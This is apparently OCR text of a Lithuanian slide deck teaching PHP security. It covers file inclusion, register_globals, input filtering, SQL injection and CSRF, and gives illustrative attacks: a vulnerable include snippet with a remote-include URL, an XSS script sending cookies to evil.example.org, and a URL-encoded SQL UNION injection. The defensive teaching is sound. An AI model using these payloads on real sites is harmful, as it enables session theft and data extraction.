PHP saugumas

mano tikslas — ne parodyti pirstu, bet parodyti kryptj...

kartais reikia ne tik sumanumo, bet ir paranojos jausmo...
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Linas Gricius

25 metai

VDU Informatikos bakalauras

tema: “XML taikymai turinio valdymo sistemose”
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“mano TVS”. Dispatch metodas

> “kiek programuotoju —
tiek 1r turinio valdymo sistemu (TVS'u)”

° Pamirstama apie sauguma

° Dazniausiai tatkomas metodas — DISPATCH

° Pradedantieji nezino arba pamirsta apie sauguma:

<2
if Gisset($_GET["id'])) {
include("$_GET[id].php");
4

2>
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Dispatch metodas

> pavyzdyje paliekama laisve iterpti svetima koda.
Tereikia pasinaudoti atitinkama nuoroda, kad ir
puZ.

remote_include.php?id=http://linas.gricius.net/index
° Labiau pazengusieji naudodami Sy metoda gali

sustkurti sistema, kurioje vienas skriptas priimty ir
apdorotuy uzklausas.

> Nuorodos formavimo pavyzdys

http://www.bite.lt/plius/bendravimas
/klubai/2club.welcome/463-=(61705643
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register _globals=ON | OFF?

> Jaunuo PHP 4.2.0, register_globals = OFF
t.y. iSjungti pagal nutyléejima.

° Saugaus programavimo praktika reikalauja, kad kodas veikty
su iSjungtu globaliy kintamyjy palaikymu, vietoj to naudojant
globalius masyvus ($_GET, $_POST, $_COOKIE, $_SES-
SION, t.t.).

© Kodeél nedaudoti globaliy? Nes bet koks kintamasis, pasiystas
per GET/POST/COOKIE masyva yra sukuriamas globaliame
masyve. Tai apsunkina saugumo uztikrinimg!!!

Google! “register_globals exploit”
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Gaunamo turinio filtravimas

> Save gerbiancio programuotojo galvos skausmas

vartotojo formos duomeny filtravimas, is svetimy Saltiniy ateju-
sios informacijos Saltiniy filtravimas ir t.t.

> Kartais reikia ne tik sumanumo,
bet ir paranojos jausmo, kad iSvengtum problemu.
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Gaunamo turinio filtravimas
> Kokie galimi veiksmai?:

a) nieko nedaryti

b) filtruoti formas

c) filtruoti viska, kas gaunama is vartotojy

d) susirgti paranoja ir filtruoti visg gaunama ir
rodoma3 turinj

= O jel rimtai — tai pasirasyti funkciju rinkinj, kuris
buty atsakingas uz filtravimag
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Gaunamo turinio filtravimas

> Paskutine mano girdeta jJdomesne ataka buvo vykdyta per sis-
temos RSS rodymo sistema (kazkas pamirso filtruoti rodomq turinj)

> Tai pati populiariausia saugumo problema

> Filtruokit ir tikrinkit viskq! Pradedant gaunamais GET kinta-
maisiais, baigiant net RSS naujieny antrastes patikrinimu ar nera
HTML atakos pozymiy.
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Eksperimanetas: vagiam sa

sainukus
Kad nebiity nuobodu

Eksperimentas!

Ruosdamasis praneSimui, nutariau pabandyti kaip vagiami “sausainukai’

Google!

<script>
document.location =
'http.//evil.example.org/steal cookies.php?cookies="+ document.cookie
</script>
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Eksperimanetas: vagiam sausainukus

> kas labiausiai pazeidziama” Svetainés, kurios
naudoja informacija, kuri ateina is isores... (foru-
mai, rss ir t.t.)

> Goole! - “nhtml injection”
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Klaidy pranesimai ir apdorojimas

> Programuojant geriausia naudoti
error_reporting(E_ALL)
o pabaigus:
error_reporting(E_NONE)
° Patarimas: naudokite klaidy apdorijomo sistemq. Taip bent

jau sumazinama tikimybe, kad nezinot kas pas jus sistemoje
darosi

(klaidy pranesimy saugojimas, siuntimas el.pastu, lankytojy informavimas)
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Sistemos su vidiniais vartotojais

> Prisijjungimo sistemos patikimumas

< Ar saugo nuo slaptazodziy perrinkimo atakos?

© Ar tikrai jungiamasi is jusy svetaines?

© Saugodami “sausainukus”, paskaninkit juos informacija apie
lankytojo IP ir narsSykle. Taip sumazinsite rizikg, kad bus
pasinaudota pavogta sesijos informacija

< Gal verta pamastyti apie silpny slaptazodziy tikrinimg?

> Populiareja reikalavimas jvesti simbolius, kuriuos vartotojui
rodo sugeneruotas pieSinukas. Gal verta?
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SQL ataka

© Vienas iS pirmy dalyky, ka teko skaityti apie
sauguma

< Kaip tai atrodo?

index.php?cat=%2527%20UNION%20SELECT%20user_login
%20FROM%20wp__users

SQL ataka pries WordPress

© Tikrinkit kg gaunate is lankytojuy!!!
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Shared hosting

> “didelej fermoj — daug kiauliy”

© svarbesni duomenys turi buti koduojami net ir
saugant DB

> pasikonsultuokit su administratoriais del byly ir
katalogu savybiy (permissions)

Google! “linux file permissions”

© Reikalaukit saugumo 1S administratoriy! safe_mode,
open_base_dir ir t.t.

Sunkiau, bet saugiau!
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Shared hosting

Lyrinis nukrypimas

Sesijos!
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Advanced

2 Cross-site request forgery (CSRF)
http://www.squarefree.com/securitytips/web-developers.html#CSRF

© HTTP request spoofing

imituojam uzklausg

> HTTP request split

filtruoti spec. simbolius!!!
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
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Ko galejau taip ir nepapasakoti?

> Spec. simboliy filtravimas

> Socialinis veiksnys

> GET ar POST naudoti formoje?

> <img ...> panaudojimas atakose

> AJAX duomeny apsaugojimas ir saugumas
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Literatura

° http://shiflett.org/articles/security-corner-sep2004 - Chris Shiflett: Security
Corner: Secure Design

> http://lt.php.net/register_globals - PHP: Using Register Globals - Manual

> http://phpsec.org/projects/guide/ - Register Globals, Data Filtering, Error Re-
porting, Spoofed Form Submissions, Spoofed HTTP Requests, Cross-Site Script-
ing, Cross-Site Request Forgeries

> http://www.tux.org/~peterw/csrf.txt - Cross-Site Request Forgeries

> http://www.sklar.com/page/article/owasp-top-ten - PHP and the OWASP Top
Ten Security Vulnerabilities
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Literatura

° http://jibbering.com/2002/4/httprequest.html - Using the XML HTTP Request
object

> http://www.devx.com/webdev/Article/28861 - Using the XMLHttpRequest Ob-
ject and AJAX to Spy On You

° http://secureme.blogspot.com/2005/10/ajax-security.html - * secureme: AJAX
Security?

2 http://securephp.damonkohler.com/index.php/Email_Injection — mail()
saugumas

° http://securephp.damonkohler.com/index.php/Cross_Site_ Scripting_Attacks —
CSS atakos

© http://www.cgisecurity.com/articles/xss-faq.shtml — XSS atakos
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AcC1u uz demesy.

Klausimai, diskusijos
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